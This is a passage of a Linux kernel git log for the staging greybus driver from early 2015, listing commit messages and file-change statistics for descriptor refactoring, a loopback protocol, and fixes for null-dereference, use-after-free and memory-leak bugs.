Kroah-Hartman drivers/staging/greybus/bundle.c | 48 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/bundle.h | 4 +++ drivers/staging/greybus/core.c | 18 +++++++------- drivers/staging/greybus/greybus.h | 12 ++++----- drivers/staging/greybus/greybus_id.h | 6 +++-- drivers/staging/greybus/interface.c | 34 ------------------------- drivers/staging/greybus/interface.h | 4 --- 7 files changed, 71 insertions(+), 55 deletions(-) commit 8e2e22d7830616ac37a9045e9e749e35cbc10ffe Author: Viresh Kumar Date: Wed Apr 1 20:32:03 2015 +0530 greybus: drop module descriptors Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 15 --------------- drivers/staging/greybus/manifest.c | 5 ----- 2 files changed, 20 deletions(-) commit a93db2d1f6939bf260dbdf0d32a20eda3ad2e620 Author: Viresh Kumar Date: Wed Apr 1 20:32:02 2015 +0530 greybus: manifest: Use interface descriptor instead of module descriptor to get information A module can have more than one interfaces and we get hotplug events or manifests for interfaces, not modules. Details like version, vendor, product id, etc. can be different for different interfaces within the same module and so shall be fetched from interface descriptor instead of module descriptor. So what we have been doing for module descriptors until now must be done for interface descriptors. There can only be one interface descriptor in the manifest. Module descriptor isn't used anymore and probably most of its fields can be removed now. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 21 ++++++-------- drivers/staging/greybus/interface.c | 2 +- drivers/staging/greybus/interface.h | 2 +- drivers/staging/greybus/manifest.c | 45 +++++++++++++++--------------- drivers/staging/greybus/manifest.h | 2 +- 5 files changed, 35 insertions(+), 37 deletions(-) commit bb97ea813b1c31a0fc78af3d06a8dbd793ea372b Author: Viresh Kumar Date: Wed Apr 1 20:32:01 2015 +0530 greybus: bundle: Initialize all bundles on link-up An interface can have 1 or more bundles. On link-up event, we must initialize all the bundles associated with the interface. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 4 +--- drivers/staging/greybus/bundle.c | 27 ++++++++++++++++++++------- drivers/staging/greybus/bundle.h | 3 ++- 3 files changed, 23 insertions(+), 11 deletions(-) commit 7c183f70ed5b1fa368559031b1ef2245827f2918 Author: Viresh Kumar Date: Wed Apr 1 20:32:00 2015 +0530 greybus: bundle: Create bundles using bundle descriptors Currently we are creating bundles based on interface descriptors. An interface can have one or more bundles associated with it and so a bundle must be created based on a bundle descriptor. Also get class_type from bundle descriptor. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 10 ++++++---- drivers/staging/greybus/bundle.h | 4 +++- drivers/staging/greybus/manifest.c | 14 +++++++++----- 3 files changed, 18 insertions(+), 10 deletions(-) commit 581baacd33b087e4f7322f42ca8f336f7f0acc4d Author: Viresh Kumar Date: Fri Apr 3 12:00:48 2015 +0530 greybus: hid: Use payload-size to get report size Report size isn't passed as first two bytes of the report according to USB-HID spec. Get it from payload-size. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) commit 83a0cb593b5517a13f88c8f9ae9ce7e43af4b54b Author: Viresh Kumar Date: Wed Apr 1 20:31:59 2015 +0530 greybus: Add bundle descriptor type A bundle corresponds to a device and a greybus driver binds to it. This patch adds a type and descriptor for bundle. This also shuffles the values of 'enum greybus_descriptor_type' to align them with Greybus Specifications. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 30 ++++++++++++++++++++++++++++-- drivers/staging/greybus/manifest.c | 2 ++ 2 files changed, 30 insertions(+), 2 deletions(-) commit c9d9d0d443afab6c4c1ce295c283f0caab56db16 Author: Viresh Kumar Date: Wed Apr 1 20:31:58 2015 +0530 greybus: interface: Fetch interface id instead of module id during setup There can be more than one interface on a module and we need to know the interface for which the event has occurred. But at the same time we may not need the module id at all. During initial phase when AP is probed, the AP will receive the unique Endo id which shall be enough to draw relationships between interface and module ids. Code for that isn't available today and so lets create another routine to get module id (which needs to be fixed separately), which will simply return interface id passed to it. Now that we have interface id, update rest of the code to use it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 31 +++++++++++++++--------------- drivers/staging/greybus/interface.c | 38 +++++++++++++++++++------------------ drivers/staging/greybus/interface.h | 8 ++++---- drivers/staging/greybus/module.c | 11 +++++++++++ drivers/staging/greybus/module.h | 1 + drivers/staging/greybus/svc_msg.h | 13 ++++--------- 6 files changed, 55 insertions(+), 47 deletions(-) commit 2352a73212a503dfe77970c48a891c008b7edd5b Author: Viresh Kumar Date: Thu Apr 2 17:53:47 2015 +0530 greybus: Unregister devices to get them freed Devices registered with the device-core needs to be freed by calling device_unregister(). For module we are calling just put_device() and for bundle, connection and interface we are calling device_del(). All of these are incomplete and so none of them get freed, i.e. the .release() routine is never called for their devices. Module being a special case that it needs to maintain a refcount or a list of interfaces to trace its usage count. I have chosen refcount. And so once the refcount is zero, we can Unregister the device and module will get free as well. Because of this bug in freeing devices, their sysfs directories were not getting removed properly and after a manifest is parsed with the help of gbsim, removing modules was creating problems. The sysfs directory 'greybus' wasn't getting removed. And inserting the modules again resulted in warnings and insmod failure. WARNING: CPU: 3 PID: 4277 at /build/buildd/linux-3.13.0/fs/sysfs/dir.c:486 sysfs_warn_dup+0x86/0xa0() Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/interface.c | 7 +++++-- drivers/staging/greybus/module.c | 14 +++++++++++++- drivers/staging/greybus/module.h | 2 ++ 5 files changed, 22 insertions(+), 5 deletions(-) commit 045235f118917210ab9574c768b2625231e2069b Author: Mark Greer Date: Tue Mar 31 16:49:56 2015 -0700 greybus: Initial I2S definitions These are definitions from Mark that I've consolidated into one header file. I'd like to get these merged at some point soon, so the audio driver and gbsim work can avoid having out-of-tree dependencies. Signed-off-by: Mark A. Greer Reviewed-by: Alex Elder Signed-off-by: John Stultz Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 4 +- drivers/staging/greybus/i2s.h | 145 +++++++++++++++++++++++++++++ 2 files changed, 148 insertions(+), 1 deletion(-) commit 6023629d3676a07e88a4661fca503e3e48d95299 Author: Greg Kroah-Hartman Date: Sat Apr 4 10:54:25 2015 +0200 greybus: Documentation/sysfs: add a proposed sysfs tree for greybus This adds a proposed sysfs layout for greybus to Documentation to make it easier for people to discuss / test things. It includes a module, an interface, a bundle, and a gpbridge binding to that bundle. This was discussed on the projectara software mailing list. Signed-off-by: Greg Kroah-Hartman .../Documentation/sysfs/endo-TYPE/01/01/01/gpbridge00/gpio/.gitignore | 1 + .../Documentation/sysfs/endo-TYPE/01/01/01/gpbridge00/i2c/.gitignore | 1 + .../Documentation/sysfs/endo-TYPE/01/01/01/gpbridge00/usb/.gitignore | 1 + drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/firmware | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/manifest | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/product_id | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/product_name | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/state | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/uid | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/vendor_id | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/01/vendor_name | 0 .../staging/greybus/Documentation/sysfs/endo-TYPE/01/01/version_major | 0 .../staging/greybus/Documentation/sysfs/endo-TYPE/01/01/version_minor | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/epm | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/power | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/01/present | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/02/.gitignore | 1 + drivers/staging/greybus/Documentation/sysfs/endo-TYPE/SVC/firmware | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/SVC/serial_number | 0 drivers/staging/greybus/Documentation/sysfs/endo-TYPE/SVC/version | 0 20 files changed, 4 insertions(+) commit e4c4b4dce628d529bc073952ddcf272d307d06bd Author: Alex Elder Date: Thu Mar 26 21:25:08 2015 -0500 greybus: reduce the ranting Cut out some comments that are no longer operative. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 27 --------------------------- drivers/staging/greybus/es2.c | 27 --------------------------- 2 files changed, 54 deletions(-) commit 66c98986c909bfe789e8b15f805fd28ef4c36b76 Author: Greg Kroah-Hartman Date: Wed Apr 1 01:36:23 2015 +0200 greybus: kernel_ver.h: add sysfs_create_groups() and sysfs_remove_groups() These functions showed up in 3.12 or so, and we are stuck on 3.10 for various reasons, so provide backports in kernel_ver.h so that we can rely on these functions. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) commit 7a51b9362b547b2f02ef88c10636950637c71fa5 Author: Greg Kroah-Hartman Date: Tue Mar 31 23:02:34 2015 +0200 greybus: loopback: use the attribute groups, not group We should use the attribute groups, not group, for the device, so add and remove it. No one should ever be updating a sysfs group for a device, as that can be pretty dangerous if you don't duplicate _all_ existing attribute for that device, and I don't think we were doing that here. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 5679f783b1ef953f5c5706f226580abf45c82c46 Author: Greg Kroah-Hartman Date: Tue Mar 31 23:01:45 2015 +0200 greybus: loopback: fix build breakage about SZ_4K x86 doesn't include SZ_4K somehow so explicitly include to fix the build breakage. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 1 + 1 file changed, 1 insertion(+) commit 355a7058153e04b53bed3fcb792110294693d386 Author: Alexandre Bailon Date: Tue Mar 31 09:51:59 2015 +0200 greybus: Add loopback protocol Add a simple Greybus protocol in order to stress USB and Greybus. This protocol currently support 2 requests: ping and transfer. ping request is useful to measure latency. Kernel send a ping request and firmware should respond with a ping. The transfer request request is useful to stress Greybus and USB. Kernel can send data from 0 to 4k and the firmware must send back the data to kernel. This behaviour of gb-loopback module is controlled via sysfs. Curently, connection sysfs folder is updated with new entries: - type: Type of loopback message to send * 0 => Don't send message * 1 => Send ping message continuously (message without payload) * 2 => Send transer message continuously (message with payload) - size: Size of transfer message payload: 0-4096 bytes - ms_wait: Time to wait between two messages: 0-1024 ms Module also export some statistics about connection: - latency: Time to send and receive one message - frequency: Number of packet sent per second on this cport - throughput: Quantity of data sent and received on this cport - error All this statistics are cleared everytime type, size or ms_wait entries are updated. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/loopback.c | 390 +++++++++++++++++++++++++++++ 3 files changed, 393 insertions(+) commit e0feaf14b102f767d00ee28443f8443e4d76ba8b Author: Alex Elder Date: Fri Mar 27 15:20:49 2015 -0500 greybus: es2: test apb1_log_task safely When usb_log_enable() is called, the global apb1_log_task is used to hold the result of kthread_run(). It is possible for kthread_run() to return an error pointer, so tests of apb_log_task against NULL are insufficient to determine its validity. Note that kthread_run() never returns NULL so we don't have to check for that. But apb1_log_task is initially NULL, so that global must be both non-null and not an error in order to be considered valid. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit dada3b02a38c2e1d06a43d0d909d48f4db798dfc Author: Alex Elder Date: Fri Mar 27 15:20:49 2015 -0500 greybus: es1: test apb1_log_task safely When usb_log_enable() is called, the global apb1_log_task is used to hold the result of kthread_run(). It is possible for kthread_run() to return an error pointer, so tests of apb_log_task against NULL are insufficient to determine its validity. Note that kthread_run() never returns NULL so we don't have to check for that. But apb1_log_task is initially NULL, so that global must be both non-null and not an error in order to be considered valid. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit d8187aa2241136e9fb3801e82fe8c2dfdae06802 Author: Alex Elder Date: Fri Mar 27 15:06:24 2015 -0500 greybus: manifest: use size_t for a size variable In identify_descriptor(), the variable desc_size represents the size of a memory object. So change its type from int to size_t. The return value for this function can be desc_size cast to int. One can verify by inspection this will never exceed INT_MAX. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 973ccfd62686a2331f43b0053de052d958f50d31 Author: Johan Hovold Date: Fri Mar 27 12:45:49 2015 +0100 greybus: operation: refactor response handling Send response to incoming requests from the operation request handler rather than in every protocol request_recv callback. This simplifies request_recv error handling and allows for further code reuse. Note that if we ever get protocols that need to hold off sending responses we could implement this by letting them return a special value (after acquiring the necessary operation references) to suppress the response from being sent by greybus core. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 29 ++++++++--------------------- drivers/staging/greybus/hid.c | 23 ++++++----------------- drivers/staging/greybus/operation.c | 17 ++++++++++------- drivers/staging/greybus/protocol.h | 2 +- 4 files changed, 25 insertions(+), 46 deletions(-) commit d0eb755aeef092f27b3dd2a4c90616f613541f56 Author: Johan Hovold Date: Fri Mar 27 12:45:48 2015 +0100 greybus: hid: fix missing response on request errors Send response also to incoming requests that cannot be fulfilled. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 382145beb4a4bb057f17d5b411546b6b56fbacd1 Author: Johan Hovold Date: Fri Mar 27 12:45:47 2015 +0100 greybus: hid: fix missing input verification of report events Add minimal verification of incoming report size, before using it to determine what buffer and size to pass on to HID core. Add comment about protocol needing to be revisited. If we are going to be parsing the report data received, then those fields have to be defined in the Greybus specification at least. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 36257f6b4e7671cb12f98d91a6ffdeabdc254d0c Author: Johan Hovold Date: Fri Mar 27 12:45:46 2015 +0100 greybus: hid: fix null-deref on short report requests Make sure to verify the length of incoming requests before trying to parse the request buffer, which can even be NULL on empty requests. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 5 +++++ 1 file changed, 5 insertions(+) commit ecf47ab9c5ca1427baea7ab6d3226502d967f19d Author: Johan Hovold Date: Fri Mar 27 12:45:45 2015 +0100 greybus: hid: fix success response being sent on errors Make sure to only send a success response if we did not detect any errors. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit b67f2d13db21de2fc948d6f7090fe2b9bae5d5bd Author: Johan Hovold Date: Fri Mar 27 12:45:44 2015 +0100 greybus: hid: replace pr_err with dev_err Replace pr_err with dev_err and clean up error messages somewhat. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) commit fef96a226eca4eae4aea1657ebcf5b013d6e48b6 Author: Johan Hovold Date: Fri Mar 27 12:45:43 2015 +0100 greybus: gpio: fix missing response on request errors Send response also to incoming requests that cannot be fulfilled. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 27 +++++++++++++++++---------- 1 file changed, 17 insertions(+), 10 deletions(-) commit 244b5a2344bce5d9675e02da65b24e026926348c Author: Johan Hovold Date: Fri Mar 27 12:45:42 2015 +0100 greybus: gpio: fix null-deref on unexpected irq requests Fix null-pointer dereference on failure to look up irq due to missing error handling. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 1842dd8b7bc7d713d3c252a501411b5009b3987d Author: Johan Hovold Date: Fri Mar 27 12:45:41 2015 +0100 greybus: gpio: fix null-deref on short irq requests Make sure to verify the length of incoming requests before trying to parse the request buffer, which can even be NULL on empty requests. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 0150bd7f23618eb4feb293f4db007833555a887f Author: Johan Hovold Date: Fri Mar 27 12:41:20 2015 +0100 greybus: operation: make incomplete-message errors more informative Include the operation id as well as the received and expected size (from header) when reporting incomplete messages. This information is useful when debugging communication errors. Also invert the size test to match the error message and increase readability. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit e1baa3f0a956764816d0614fb3636ecc7230c171 Author: Johan Hovold Date: Fri Mar 27 12:41:19 2015 +0100 greybus: operation: replace pr_err with dev_err Use dev_err whenever we have a connection for more informative error messages. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit cfa79699cdef2e006f8414587c0e4d62209e4897 Author: Johan Hovold Date: Fri Mar 27 12:41:18 2015 +0100 greybus: operation: fix incoming request payload size Fix the payload size of incoming requests, which should not include the operation message-header size. When creating requests we pass the sizes of request and response payloads and greybus core allocates buffers and adds the required headers. Specifically, the payload sizes do not include the message-header size. This is currently not the case for incoming requests however, something which prevents protocol drivers from implementing appropriate input verification and could lead to random data being treated as a valid message in case of a short request. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 9489667684fbed2114dcdd10cdee2e4d20d9f308 Author: Johan Hovold Date: Fri Mar 27 12:41:17 2015 +0100 greybus: operation: fix null-deref on operation destroy Incoming operations are created without a response message. If a protocol driver fails to send a response, or if the operation were to be cancelled before it has been fully processed, we get a null-pointer dereference when the operation is released. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 772f3e90605641592435ec7c0a960e858925a0fe Author: Johan Hovold Date: Fri Mar 27 12:41:16 2015 +0100 greybus: operation: fix null-deref on operation cancel Incoming operations are created without a response message. If an operation were to be cancelled before it has been fully processed (e.g. on connection destroy), we would get a null-pointer dereference in gb_operation_cancel. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit ff65be7a58201ca7843813f92192d997a2a4b4ee Author: Johan Hovold Date: Fri Mar 27 12:41:15 2015 +0100 greybus: operation: fix use-after-free and infinite loop on unhandled requests Make sure to return a proper response in case we get a request we do not recognise. This fixes an infinite loop and use-after-free bug, where the freed operations structure would get re-added to the work queue indefinitely. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) commit ea2c2ee80571388ef4641597c00ca10da3728127 Author: Johan Hovold Date: Fri Mar 27 12:41:14 2015 +0100 greybus: operation: fix memory leak in request_send error path Make sure to drop the operation reference when sending the request fails to avoid leaking the operation structures. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 0fb5acc4018c0da61f9084932d0cd816fab77eec Author: Johan Hovold Date: Fri Mar 27 12:41:13 2015 +0100 greybus: operation: fix use-after-free when sending responses Fix use-after-free when sending responses due to reference imbalance. Make sure to take a reference to the operation when sending responses. This reference is dropped in greybus_data_sent when the message has been sent, while the initial reference is dropped in gb_operation_work after processing the corresponding request. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) commit 37754030b0b9f7b81217b891cdc5f21dd7d29e4d Author: Johan Hovold Date: Fri Mar 27 12:41:12 2015 +0100 greybus: operation: fix callback handling and documentation Fix up obsolete comments referring to null callback pointers for synchronous operations, and make sure a callback is always provided when sending a request. Also document that the callback is responsible for dropping the initial (and not necessarily final) reference to the operation. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 33 ++++++++++++++------------------- 1 file changed, 14 insertions(+), 19 deletions(-) commit d506283491eb423cb8c6957d91070d3ac2d81b6a Author: Johan Hovold Date: Fri Mar 27 12:41:11 2015 +0100 greybus: operation: fix typo in comment Fix typo in comment. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1dad6b3515b2cac308a039cf2d081f6b72db1e4a Author: Johan Hovold Date: Fri Mar 27 12:41:10 2015 +0100 greybus: operation: fix missing symbol exports Add missing EXPORT_SYMBOL_GPL for gb_operation_response_alloc, gb_operation_result, gb_operation_get, gb_operation_request_send and gb_operation_cancel, which are all supposed to be accessible from protocol handlers. Signed-off-by: Johan Hovold Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++++ 1 file changed, 5 insertions(+) commit e2cb6cacad80355b1b9ba864ab9e68b9e4014c21 Author: Viresh Kumar Date: Fri Mar 27 16:32:56 2015 +0530 greybus: kernel_ver.h: include to fix warning And this is the warning I was getting on kernel version > 3.14 CC [M] greybus/connection.o In file included from include/asm-generic/gpio.h:4:0, from arch/arm/include/asm/gpio.h:9, from include/linux/gpio.h:48, from greybus/kernel_ver.h:59, from greybus/connection.c:12: include/linux/kernel.h:35:0: warning: "U16_MAX" redefined kernel_ver.h is taking care of defining U16_MAX only if is not defined earlier, but it is often included as the first .h file. might be included later, which always defines it, unconditionally. And so this warning. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 2 ++ 1 file changed, 2 insertions(+) commit ca3ec299c2d090f99fedcc5995dc1f25ab609408 Author: Greg Kroah-Hartman Date: Fri Mar 27 11:38:07 2015 +0100 greybus: es2: sync up with recent es1.c changes This brings the debug log functionality of es1.c to es2.c, along with some other minor cleanups. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/es2.c | 146 ++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 142 insertions(+), 4 deletions(-) commit 48f70474f48f87cc2dec5ee0a2ba7139bbef3cef Author: Greg Kroah-Hartman Date: Fri Mar 27 11:38:06 2015 +0100 greybus: debugfs: we shouldn't care if debugfs is working or not This removes the error checking for debugfs initialization as we really don't care if it failed or not. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/core.c | 6 +----- drivers/staging/greybus/debugfs.c | 6 +----- drivers/staging/greybus/greybus.h | 2 +- 3 files changed, 3 insertions(+), 11 deletions(-) commit 142f8ddf71e2e081955b4f54ba72c78dbb7b7ce8 Author: Alex Elder Date: Thu Mar 26 21:25:06 2015 -0500 greybus: get rid of {conceal,reveal}_urb() These clever macros were fine for early development, but they're more of a distraction now. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 11 ++--------- drivers/staging/greybus/es2.c | 15 ++++----------- 2 files changed, 6 insertions(+), 20 deletions(-) commit d3d2bea16149f36b0b654a0874cb9092ff86b134 Author: Alex Elder Date: Thu Mar 26 21:25:01 2015 -0500 greybus: clean up some small messes This is an old patch that I neglected to send out. It's cleaning up a couple things that got committed before I had a chance to comment on them. In operation.c there is a "FIXME" comment that is easily proven wrong by inspection. In gb_protocol_put(), there is another wrong "FIXME" comment as well. We can also use our cached copies of the protocol major and minor version number in another spot. And balance that out by using a cached copy of the protocol id. Signed-off-by: Alex Elder Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 ++--- drivers/staging/greybus/protocol.c | 14 ++++++-------- 2 files changed, 8 insertions(+), 11 deletions(-) commit 938451f184982a9a1b3a4daa3006ac5163020b35 Merge: 71e4938 25d1c37 Author: Greg Kroah-Hartman Date: Wed Mar 25 09:26:13 2015 +0100 greybus: Merge branch 'es1-fixes' into master Merge the es1 log file fixes into master. Signed-off-by: Greg Kroah-Hartman commit 71e4938012faff9b84916f5424dbf4dff8d1d09e Author: Viresh Kumar Date: Tue Mar 24 20:14:29 2015 +0530 greybus: interface: put module->dev on failures In order to decrement the reference count of module on failures, we must call put_device(module->dev). This was missing for one of the error cases, fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 0d34be75878093bef5055311c254ae3ff459fd8f Author: Viresh Kumar Date: Tue Mar 24 20:14:28 2015 +0530 greybus: Greybus: Place module_init/exit() right after respective routines As mentioned in kernel coding guidelines. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpb.c | 3 +-- drivers/staging/greybus/vibrator.c | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) commit 13fe6a9af3d86019a10bdbd3195434e5a795b3b3 Author: Viresh Kumar Date: Tue Mar 24 17:08:14 2015 +0530 greybus: manifest: don't need to check for desc_size == 0 anymore identify_descriptor() doesn't return 0 anymore and so we don't need to check the returned value against 0. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 19b3b2c2aeb7e1e787a65936ada0dabc229620ea Author: Viresh Kumar Date: Tue Mar 24 17:08:13 2015 +0530 greybus: manifest: descriptor size should be >= header size We are calculating descriptors expected size differently based on the type of descriptor, that's fine but at few places we aren't taking size of the header into account. And that looks wrong. Lets make sure it is atleast as big as descriptor's header. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 51 +++++++++++++++++++++++++------------- 1 file changed, 34 insertions(+), 17 deletions(-) commit 25d1c37798cd298d726dfb114f0dcaa15824b138 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:47:24 2015 +0100 greybus: es1: allow the debug log to be stopped If you write 0 to the debugfs file, the log will stop being updated. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 0c264c6fc2c3f47d94169a38506cdf151a9ba52e Author: Greg Kroah-Hartman Date: Tue Mar 24 20:45:31 2015 +0100 greybus: es1: separate usb_log enable/disable logic into different functions One function shouldn't do two different things depending on a parameter passed to it, so split usb_log_enable() into usb_log_disable() Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 45 +++++++++++++++++++++++-------------------- 1 file changed, 24 insertions(+), 21 deletions(-) commit efdc43130cdb3dbcd25d1586e93181abbc714ea5 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:34:02 2015 +0100 greybus: es1: fix checkpatch warning about blank lines needed Add a blank line in apb1_log_enable_read() to make checkpatch happy. Oh, and it makes the code more readable too... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 1 + 1 file changed, 1 insertion(+) commit 64b8a16f4486912e4aa315497ea13c2d57402fc3 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:32:40 2015 +0100 greybus: es1: move debugfs function to use kstrotoint_from_user() No need to duplicate built-in functions that the kernel has, so have the core kernel parse the userspace string. Saves us an allocation and makes the logic simpler. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 15 +++++++-------- 1 file changed, 7 insertions(+), 8 deletions(-) commit d52f9973e2de01e6da7beb2e91ece009ffd880a2 Author: Greg Kroah-Hartman Date: Tue Mar 24 20:10:58 2015 +0100 greybus: es1: decimal modes are not what are wanted for debugfs decimal is not octal, so use the proper mode settings for the debugfs files. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 4600d03f80aea65f29f324b89d1b3437982f3eba Author: Greg Kroah-Hartman Date: Tue Mar 24 20:08:12 2015 +0100 greybus: es1: struct file_operations needs to be const We aren't changing these pointers, so mark them read-only as that is the preferred way. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 